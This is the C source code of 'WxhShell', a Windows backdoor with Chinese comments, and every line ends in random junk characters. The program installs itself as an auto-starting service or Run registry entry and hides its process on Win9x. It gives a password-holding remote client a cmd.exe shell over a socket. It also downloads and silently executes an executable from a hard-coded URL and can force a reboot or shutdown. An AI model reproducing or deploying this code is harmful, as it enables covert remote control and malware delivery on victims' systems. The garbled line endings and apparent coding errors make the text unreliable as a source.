    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F{m{d?:OA  
    if(Boot(SHUTDOWN)) 1|| +6bRP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z[nS$]u  
    else { E D"!n-Hq  
    closesocket(wsh); "Fnq>iR-  
    ExitThread(0); }|wv]U~  
    } : c.JhE3D  
    break; 6'C2SihYp  
    } Y[ zZw~yx  
  // 获取shell r&3pM2Da}  
  case 's': { r"{<%e  
    CmdShell(wsh); pyZ9OA!PD  
    closesocket(wsh); T:iP="?{  
    ExitThread(0); 1(#;&:$`i  
    break; d 8o53a]  
  } -db75=  
  // 退出 \3XqHf3|o  
  case 'x': { > m q,}!n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x/fX`y|(}*  
    CloseIt(wsh); ;_?MX/w|&  
    break; !>$4]FkV  
    } uJU*")\V  
  // 离开 )?aaBaN$  
  case 'q': { C$yq\C+I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1zxq^BI  
    closesocket(wsh); 0CExY9@Wq  
    WSACleanup(); ~I=Y{iM  
    exit(1); O(Jj|Z  
    break; "3CJUr:Q  
        } (bp9Pjw  
  } D=r))  
  } R^#@lI~  
OE`X<h4r  
  // 提示信息 =aG xg57  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - y AQ  
} vH[47CvG5  
  } Nw_@A8-r  
G}d-(X  
  return; m#!=3P7T  
} YB(Gk;]  
Qdk6Qubi!  
// shell模块句柄 v`PY>c6~  
int CmdShell(SOCKET sock) *Zk>2<^R  
{ &a0r%L()X  
STARTUPINFO si; g" VMeW^  
ZeroMemory(&si,sizeof(si)); dl-l"9~;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b7`D|7D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u{<"NR h  
PROCESS_INFORMATION ProcessInfo; b*kfWG-6t  
char cmdline[]="cmd"; #-VMg+14  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hfWFD,  
  return 0; `>C<}xO  
} 2x]>l? 5b  
`fNpY#QsN  
// 自身启动模式 xw5d|20b  
int StartFromService(void) X2sHE  
{ n/d`qS  
typedef struct "/Pjjb:2  
{ =T?}Nt  
  DWORD ExitStatus; k%c{ETdE  
  DWORD PebBaseAddress; dUrElXbXd  
  DWORD AffinityMask; ||7x;2e  
  DWORD BasePriority; LW6ZAETyL  
  ULONG UniqueProcessId; y9H% Xl  
  ULONG InheritedFromUniqueProcessId; <x pph t<  
}   PROCESS_BASIC_INFORMATION; ZUm?*.g\^  
\>. LW9  
PROCNTQSIP NtQueryInformationProcess; 1/+C5Bp*  
{$D,?V@%_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; > et-{(G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }Db[ 4  
3g'S\ G@  
  HANDLE             hProcess; %8~Q!=*Iq  
  PROCESS_BASIC_INFORMATION pbi; Rd \.:u  
*D}0 [|O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f5*k7fg  
  if(NULL == hInst ) return 0; Kb#4ILA  
S^@S%Eg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !^#jwRpeN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C@ZK~Y_g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 96cJ8I8  
{6;9b-a]  
  if (!NtQueryInformationProcess) return 0; `_I@i]i^  
8H,4kY?Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]B"'}%>ez  
  if(!hProcess) return 0; jdZ~z#`(!:  
!)"%),>}o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RcG0 8p.)  
-H^oXeN  
  CloseHandle(hProcess); mYN7kYR}<`  
Ix@&$!'k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e1(Q(3  
if(hProcess==NULL) return 0; f ),TO  
Ei}/iBG@  
HMODULE hMod; :K`ESq!8u  
char procName[255]; RoA?p;]<  
unsigned long cbNeeded; K;?,FlH  
<~ad:[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6fH@wQ"wN  
q\Q{sv_  
  CloseHandle(hProcess); (/!r(#K0,'  
#4MBoN(3  
if(strstr(procName,"services")) return 1; // 以服务启动 <9E0iz+j  
ptatzp]c#  
  return 0; // 注册表启动 O<PO^pi  
} 6vuq1  
[Aj Q#;#Q  
// 主模块 j Uv!9Y}F  
int StartWxhshell(LPSTR lpCmdLine) Ee)[\Qjn  
{ =L%DX#8  
  SOCKET wsl; FMNm,O]  
BOOL val=TRUE; ~CB[9D=  
  int port=0; .7'kw]{/  
  struct sockaddr_in door; 0N[&3Ee8  
_\Q^x)w6  
  if(wscfg.ws_autoins) Install(); t"hYcnC  
}I|u'#n_  
port=atoi(lpCmdLine); 3 &u_A?;  
_{t9 x\=  
if(port<=0) port=wscfg.ws_port; M` q?Fk  
E J$36  
  WSADATA data; {,*"3O:\:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >_rha~   
N8qDdr9p?c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )vmA^nU>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P 71(  
  door.sin_family = AF_INET; IdYzgDH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ] h-,o R?e  
  door.sin_port = htons(port); q)H1pwxD  
?88[|;b3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .)}@J5 P)  
closesocket(wsl); /V3=KY`_J  
return 1; F:*W5xX  
} WLF0US'  
8^Hn"v  
  if(listen(wsl,2) == INVALID_SOCKET) { V fv@7@q  
closesocket(wsl); 56^ +;^f^`  
return 1; M02uO`Y9  
} 4S~o-`&W  
  Wxhshell(wsl); h\plQ[T  
  WSACleanup(); 8N:owK  
jV.g}F+1m  
return 0; 4}_O`Uxh  
Gl1jxxd  
} o]nw0q?  
`cPywn@uGZ  
// 以NT服务方式启动 REZJ}%}/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?$f)&O  
{ uwRr LF  
DWORD   status = 0; fLV"T_rk  
  DWORD   specificError = 0xfffffff; 0ye!R   
4}`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R'kyrEO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R[ 49(>7H4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d,8mY/S>w  
  serviceStatus.dwWin32ExitCode     = 0; e[sK@jX6  
  serviceStatus.dwServiceSpecificExitCode = 0; |F9z,cc"  
  serviceStatus.dwCheckPoint       = 0; bSVlk`  
  serviceStatus.dwWaitHint       = 0; :2njp%  
e]jH+IR:>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bo<>e~6P  
  if (hServiceStatusHandle==0) return; R!l:O=[<  
XU+<?%u}z  
status = GetLastError(); vG \a1H  
  if (status!=NO_ERROR) -n'F v@U  
{ Zy|Mz&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sp@E8G%xO  
    serviceStatus.dwCheckPoint       = 0; PrudhUI^  
    serviceStatus.dwWaitHint       = 0; : tWU .f#  
    serviceStatus.dwWin32ExitCode     = status; MxyN\Mq'  
    serviceStatus.dwServiceSpecificExitCode = specificError; =6aS&B(SN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); spasB=E  
    return; A 'G@uD@3  
  } +~xnXb1  
l>Ub!^;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )lJao  
  serviceStatus.dwCheckPoint       = 0; F)z;Z6{t4  
  serviceStatus.dwWaitHint       = 0; ^$&k5e/}C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F :6SPY y  
} =]-j;#'&  
b T 2a40ul  
// 处理NT服务事件,比如:启动、停止 + >cBVx6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bzdb|I6Z  
{ aZEn6*0B  
switch(fdwControl) zG e'*Qei  
{ [F5h   
case SERVICE_CONTROL_STOP: ""s]zNF}  
  serviceStatus.dwWin32ExitCode = 0; 0rGSH*(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ' B  
  serviceStatus.dwCheckPoint   = 0; ICAH G7,  
  serviceStatus.dwWaitHint     = 0; Me6+~"am/  
  { .S(,o.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~+Z{Q25R  
  } :VF<9@t  
  return; lg047K   
case SERVICE_CONTROL_PAUSE: OgF+O S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w '3#&k+  
  break; gKOOHUCb  
case SERVICE_CONTROL_CONTINUE: 9b?SHzAa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nenU)*o  
  break; Mwgu93?  
case SERVICE_CONTROL_INTERROGATE: lo'W1p  
  break; \,J/ r!  
}; = waA`Id  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F @Te@n  
}  iD= p\  
E*?<KZe"  
// 标准应用程序主函数 \6;=$f/?t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [!%![E  
{ `b c;]@"  
Fq9Q+RNMZL  
// 获取操作系统版本 TNQP" 9[?  
OsIsNt=GetOsVer(); s}pIk.4ot!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #z1H8CFL"  
5MzFUv0)  
  // 从命令行安装 uUKcB:  
  if(strpbrk(lpCmdLine,"iI")) Install(); V 21njRS  
YDGS}~m~Q  
  // 下载执行文件 IF]lHB  
if(wscfg.ws_downexe) { ={hX}"*D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JoSJH35=:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9:I6( Zv0  
} rpw.]vnn  
6i0A9SN  
if(!OsIsNt) { aTf`BG{kw  
// 如果时win9x,隐藏进程并且设置为注册表启动 "TH6o: x  
HideProc(); 4nAa`(62  
StartWxhshell(lpCmdLine); 7}jWBK  
} :{(w3<i  
else $<ld3[l i  
  if(StartFromService()) f<A5?eKw  
  // 以服务方式启动 .Vq)zi1<  
  StartServiceCtrlDispatcher(DispatchTable); Gn;@{x6  
else &CwFdx:Ff  
  // 普通方式启动  jq08=  
  StartWxhshell(lpCmdLine); mqq;H}  
w1;hy"zPsj  
return 0; "(qw-kil  
} fABe  
fr!Pj(Q1  
Py{ <bd  
xnE|Umz  
=========================================== HNL42\Kz!  
xUfbW;;]UU  
)/t?!T.[  
C ;(t/zh  
Ged[#Q  
lDmtQk-SN  
" r\;ut4wy  
3OM2Y_  
#include <stdio.h> W-/}q0h  
#include <string.h> vd6l7"0/  
#include <windows.h> wW>)(&!F  
#include <winsock2.h> w\}?(uO  
#include <winsvc.h> n<B<93f/  
#include <urlmon.h> /pp1~r.s?>  
j1 =`|  
#pragma comment (lib, "Ws2_32.lib") F7")]q3I~  
#pragma comment (lib, "urlmon.lib") ; O<9|?  
r < cVp^  
#define MAX_USER   100 // 最大客户端连接数 3Tq\BZ  
#define BUF_SOCK   200 // sock buffer ^9-&o  
#define KEY_BUFF   255 // 输入 buffer X>?b#Eva  
Mc!Xf[  
#define REBOOT     0   // 重启 )#F]G$51r  
#define SHUTDOWN   1   // 关机 q64k7<C,  
FYS/##r  
#define DEF_PORT   5000 // 监听端口 upvS|KUil  
-R>}u'EG>  
#define REG_LEN     16   // 注册表键长度 Bvt@X   
#define SVC_LEN     80   // NT服务名长度 ;60.l!   
5Zw1y@k(  
// 从dll定义API Y wkyq>Rv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p\{-t84n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bqQq=SO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OCy0#aPRS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BnRN;bu  
E\m5%bK\B  
// wxhshell配置信息 ]59i>  
struct WSCFG { c]B$i*t  
  int ws_port;         // 监听端口 hm<}p&!J  
  char ws_passstr[REG_LEN]; // 口令 N8`?t5  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z0De!?ALV\  
  char ws_regname[REG_LEN]; // 注册表键名 XlI!{qj|  
  char ws_svcname[REG_LEN]; // 服务名 OiDhJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m0{!hF[^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ) _ I,KEe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2BCtJ`S`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5sPywk{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LI)!4(WH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tRpEF2  
%zU`XVNN+  
}; $BmmNn#  
!.1%}4@Q]  
// default Wxhshell configuration NA,C Z  
struct WSCFG wscfg={DEF_PORT, :fk2]{KTL  
    "xuhuanlingzhe",  '8j$';&`  
    1, 6WoAs)ZF  
    "Wxhshell", 7*DMVok:  
    "Wxhshell", ?X?&~3iD%  
            "WxhShell Service", (6v (9p  
    "Wrsky Windows CmdShell Service", c"!lwm3b  
    "Please Input Your Password: ", 09o~9z0  
  1, Z>)][pL  
  "http://www.wrsky.com/wxhshell.exe", G;3~2^lB\  
  "Wxhshell.exe" #y|V|nd  
    }; ?[x49Ux,P  
rw)kAe31  
// 消息定义模块 0ult7s}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '&;yT[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aQ j*KMc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rwIe qV{:  
char *msg_ws_ext="\n\rExit."; fA48(0p  
char *msg_ws_end="\n\rQuit."; fri0XxF  
char *msg_ws_boot="\n\rReboot..."; v}^5Rp&m  
char *msg_ws_poff="\n\rShutdown..."; 4lKVY<  
char *msg_ws_down="\n\rSave to "; vILy>QS)  
YC]L)eafo`  
char *msg_ws_err="\n\rErr!"; H;aYiy  
char *msg_ws_ok="\n\rOK!"; |+ge8uu?C  
9x+<I k  
char ExeFile[MAX_PATH]; qC!&x,}3  
int nUser = 0; 6a}"6d/sTL  
HANDLE handles[MAX_USER]; midsnG+jnf  
int OsIsNt; TO,rxf  
QCPID:  
SERVICE_STATUS       serviceStatus; >s3gqSDR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ENh!N4vbO  
@xsCXCRWVV  
// 函数声明 ~](fFa{  
int Install(void); OPBt$Ki  
int Uninstall(void); ^% Q|s#w.  
int DownloadFile(char *sURL, SOCKET wsh); B~'MBBD"  
int Boot(int flag); *b}>cn)<v  
void HideProc(void); avp; *G }  
int GetOsVer(void); dMx4ykrR  
int Wxhshell(SOCKET wsl); ydv3owN  
void TalkWithClient(void *cs); 7nzGAz_W  
int CmdShell(SOCKET sock); Ut]+k+ 4  
int StartFromService(void); TgU**JN)  
int StartWxhshell(LPSTR lpCmdLine); 6B$q,"%S@  
uR6w|e`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }_QKJw6/"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t)oapIeIe  
6pE :A@  
// 数据结构和表定义 h?\2 _s  
SERVICE_TABLE_ENTRY DispatchTable[] = S~$'WA  
{ :PbDU$x  
{wscfg.ws_svcname, NTServiceMain}, Vv$HR  
{NULL, NULL} 0%s|Zbo!>  
}; nRhrWS  
q ^rl)  
// 自我安装 k&hc m  
int Install(void) AgF5-tz6x  
{ +)nT|w45  
  char svExeFile[MAX_PATH]; IGX:H)&*  
  HKEY key; ,(G%e  
  strcpy(svExeFile,ExeFile); 8|twV35  
NkxCs  
// 如果是win9x系统,修改注册表设为自启动 tNs~M4TVVH  
if(!OsIsNt) { Ja]o GT=e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?(KvQK|d4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O\;=V`z-  
  RegCloseKey(key); YC_3n5F%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #iSFf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r^$~>!kZ|  
  RegCloseKey(key); x2|6   
  return 0; P4 ul[zZ  
    } ,gnQa  
  } LE?u`i,e=+  
} O}Ui`eWU  
else { [_y@M ]  
]6tkEyuq  
// 如果是NT以上系统,安装为系统服务 s_jBu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4aZCFdc  
if (schSCManager!=0) c(- Mc6  
{ xSpC'"   
  SC_HANDLE schService = CreateService MrE<vw@he  
  ( Ni[4OR$-O  
  schSCManager, UkR3}{i  
  wscfg.ws_svcname, guN4-gGDr<  
  wscfg.ws_svcdisp, c)C5KaiPG  
  SERVICE_ALL_ACCESS, .&,[,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ST1Ts5I  
  SERVICE_AUTO_START,  *2u E  
  SERVICE_ERROR_NORMAL, 8dT'xuch  
  svExeFile, rlok%Rt4Z  
  NULL, }\v^+scD  
  NULL, 5IMSNGS  
  NULL, {g/wY%u=  
  NULL, hN`gB#N3  
  NULL Pn TZ/|  
  ); jeN1eM8 WI  
  if (schService!=0) B{, Bno  
  { &J"YsY  
  CloseServiceHandle(schService); h\ ,5/ )Y  
  CloseServiceHandle(schSCManager); VlW9UF-W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'zSgCgCHX8  
  strcat(svExeFile,wscfg.ws_svcname); hQh9ok8S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <D/al9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ucg$Ed  
  RegCloseKey(key); 1q~LA[6  
  return 0; !"4w&bQ  
    } snk$^  
  } m>Ux`Gp+  
  CloseServiceHandle(schSCManager); UFZ"C,  
} 24@^{ }  
} 1czG55 |  
d5xxb _oE  
return 1; y[HQBv  
} ui.'^F<  
;?9A(q_Z  
// 自我卸载 7#4%\f+'t  
int Uninstall(void) "!&B4  
{ ;cSGlE |  
  HKEY key; MUof=EJg>u  
+}!DP~y+  
if(!OsIsNt) { ZW ye> ]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2o{@nN8%  
  RegDeleteValue(key,wscfg.ws_regname); %= u/3b:o  
  RegCloseKey(key); $>vy(Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m^$5K's&  
  RegDeleteValue(key,wscfg.ws_regname); qMgfMhQ7DU  
  RegCloseKey(key); ^E@@YV  
  return 0; '_Wt }{h  
  } #MTj)P,  
} 5}<[[}(  
} %<U{K;  
else { <*@~n- R$  
$^vP<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;e;\q;GP  
if (schSCManager!=0) >_Uj?F:  
{ cb+y9wA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G:+16XCra  
  if (schService!=0) QP\yaPE  
  { \.>.c g  
  if(DeleteService(schService)!=0) { g37q/nEv  
  CloseServiceHandle(schService); ;/Q6 i  
  CloseServiceHandle(schSCManager); \RE c8nsLy  
  return 0; ^pcRW44K  
  } 9y+[o  
  CloseServiceHandle(schService); NiTJ}1 l  
  } )1_(>|@oi  
  CloseServiceHandle(schSCManager); nUqy1(  
} )Xno|$b5Eo  
} '0Zm#g  
k}B DA|\s  
return 1; ]bfqcmh<  
} N$'>XtO  
b[g.}'^yht  
// 从指定url下载文件 kME^tpji  
int DownloadFile(char *sURL, SOCKET wsh)  rA#s   
{ G.ud1,S#  
  HRESULT hr; IIP.yyh>  
char seps[]= "/"; b7'F|h^  
char *token; *]!l%Uf%  
char *file; (UzPklkZ  
char myURL[MAX_PATH]; S8*>kM'  
char myFILE[MAX_PATH]; t{ H 1u  
STlPT5e.}  
strcpy(myURL,sURL); .YiaXP  
  token=strtok(myURL,seps); 5+FLSk  
  while(token!=NULL) 56ZrCr  
  { jM\ %$_/  
    file=token; DyX0 xx^  
  token=strtok(NULL,seps); @ KJV1t`  
  } ?>)yKa#U  
L1MrrC  
GetCurrentDirectory(MAX_PATH,myFILE); lM&UFEl-\  
strcat(myFILE, "\\"); ?waebuj>  
strcat(myFILE, file); ]^ !}*  
  send(wsh,myFILE,strlen(myFILE),0); U?EG6t  
send(wsh,"...",3,0); (fd[P|G_]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  QT_^M1%  
  if(hr==S_OK) )d_U)b7i  
return 0; w -dI<s  
else [|z'"Gk{  
return 1; WgZ@N  
".M:`BoW4  
} 28+HKbgK  
lbofF==(  
// 系统电源模块 z `@z  
int Boot(int flag) 82 .HH5Z{  
{ EOQaY  
  HANDLE hToken; w 06gY  
  TOKEN_PRIVILEGES tkp; #W^_]Q=5R'  
'8={ sMy  
  if(OsIsNt) { Fva]*5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &[)D]UL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PHl4 vh#E!  
    tkp.PrivilegeCount = 1; uH] m]t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XC}1_VWs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :3gFHBFDj  
if(flag==REBOOT) { (k#t }B[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) * 2%oZX F  
  return 0; fr]Hc+7  
} UhBz<>i;!  
else { 'v+96b/;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /=- h:0{M  
  return 0; *cQz[S@F  
} 'rh\CA/}D  
  } m>O2t-  
  else { ,L~snR'w  
if(flag==REBOOT) { >E~~7Yal  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g6`.qyVfz'  
  return 0; oo'iwq-\  
} |} 9GHjG  
else { VHj*aBHB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kw;wlFU;  
  return 0; +ruj  
} v<`$bvv?  
} Pd,!&  
$4: ~* IQ  
return 1; R1~7F{FW  
} BMF3XcH~G  
',%5mF3j  
// win9x进程隐藏模块 pdy+h{]3  
void HideProc(void) eoJFh  
{ G*=H;Upi  
<@%ma2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8m \;P  
  if ( hKernel != NULL ) #-A5Z;TD.  
  { E8 \\X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |:}L<9Sq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eNivlJ,K|@  
    FreeLibrary(hKernel); *eMLbU7  
  } /T{mS7EpYc  
|})rt5|f1!  
return; ruWye1X;  
} w zdxw$E  
VgUvD1v?}  
// 获取操作系统版本 hN!.@L  
int GetOsVer(void) k:W=5{[  
{ m/cx|b3hqv  
  OSVERSIONINFO winfo; vDWr|M%``l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n/Or~@pHD  
  GetVersionEx(&winfo); MR[N6E6Mg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &,F elB0*  
  return 1; 40rZ~!}  
  else ;\1b{-' l  
  return 0; 5,Qy/t}K  
} 9B& }7kk  
>&g2 IvDS  
// 客户端句柄模块 0;'j!`l9  
int Wxhshell(SOCKET wsl) ))$ CEh"X  
{ ;A`IYRzt  
  SOCKET wsh; *-+C<2"  
  struct sockaddr_in client; j`Tm\!q  
  DWORD myID; #dL5x{gV=  
r';Hxa '  
  while(nUser<MAX_USER) I<IC-k"Y  
{ McO@p=M  
  int nSize=sizeof(client); 9j9Y Q2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O#A8t<f|M  
  if(wsh==INVALID_SOCKET) return 1; 0,+EV,  
g521Wdtnn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1fmSk$ y.9  
if(handles[nUser]==0) .Ydr[  
  closesocket(wsh); @<0h"i x  
else $HP/c Ku  
  nUser++; 5^bh.uF  
  } <d3PDO@w/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4,o %e,z  
`e4o1 *  
  return 0; !>?4[|?n<  
} JvT %R`i  
N;e}dwh&  
// 关闭 socket /vMQF+  
void CloseIt(SOCKET wsh) eUi> Mp  
{ PV5-^Y"v  
closesocket(wsh); &II JKn|_  
nUser--; j0Id!o  
ExitThread(0); S5zpUF=  
} CD*f4I#d  
tj`tLYOZ@-  
// 客户端请求句柄 ]:[)KZ~  
void TalkWithClient(void *cs) ))8Emk^Q{  
{ )zo#1$C-  
h2im sjf  
  SOCKET wsh=(SOCKET)cs; Vf@S8H  
  char pwd[SVC_LEN]; mYzsT Uq  
  char cmd[KEY_BUFF]; 9;}L{yve  
char chr[1]; "TEBByO'  
int i,j; W9:fKP  
JS }_q1H  
  while (nUser < MAX_USER) { @2)t#~Wc4h  
i7Y s_8A"9  
if(wscfg.ws_passstr) { q}wl_ku9+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gK&5HTo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %g2/ o^c*  
  //ZeroMemory(pwd,KEY_BUFF); GGYX!=]~  
      i=0; oHv{Y  
  while(i<SVC_LEN) { @2-Hj~  
s|fCR  
  // 设置超时 1jR=h7^=  
  fd_set FdRead; S.zg&   
  struct timeval TimeOut; LG"BfYy6  
  FD_ZERO(&FdRead); ,AGM?&A  
  FD_SET(wsh,&FdRead); hpd(d$j  
  TimeOut.tv_sec=8; Fr938q6^-  
  TimeOut.tv_usec=0; 6{Krw \0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g6x/f<2x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S,ouj;B  
F(?Fz8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (CKhY~,/u  
  pwd=chr[0]; Vu_7uSp,)  
  if(chr[0]==0xd || chr[0]==0xa) { My'9S2Y8nv  
  pwd=0; ^K1~eb*K  
  break; `</=AY>  
  } C}dKbs^g|  
  i++; _stI?fz*4k  
    } B]+7 JB  
#"3[f@|e  
  // 如果是非法用户,关闭 socket r&H=i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /h.:br?M#P  
} ~Hp#6+  
A)O_es 2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gd]5xl HRU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^+.+I cH  
C}M0XW  
while(1) { hlSB7D"d  
(r#5O9|S  
  ZeroMemory(cmd,KEY_BUFF); r_!{!i3B  
LLXg  
      // 自动支持客户端 telnet标准   Zpn*XG  
  j=0; Y&1!Z*OL;  
  while(j<KEY_BUFF) { @'k,\$/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v%69]a-T  
  cmd[j]=chr[0]; 9XJ9~I?  
  if(chr[0]==0xa || chr[0]==0xd) { .P |+oYT&g  
  cmd[j]=0; 7$Z)fkx.  
  break; >S-N|uR6  
  } t wa(M?  
  j++; XC+F! R  
    } '/gxjr&  
#'G7mAoA  
  // 下载文件 2yi*eR  
  if(strstr(cmd,"http://")) { B J:E,P`_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dd?x5|/#  
  if(DownloadFile(cmd,wsh)) #Of<1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #2ZrdD"5kQ  
  else ;:8jxkx6%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e$p1Th*|]4  
  } l"~h1xk~  
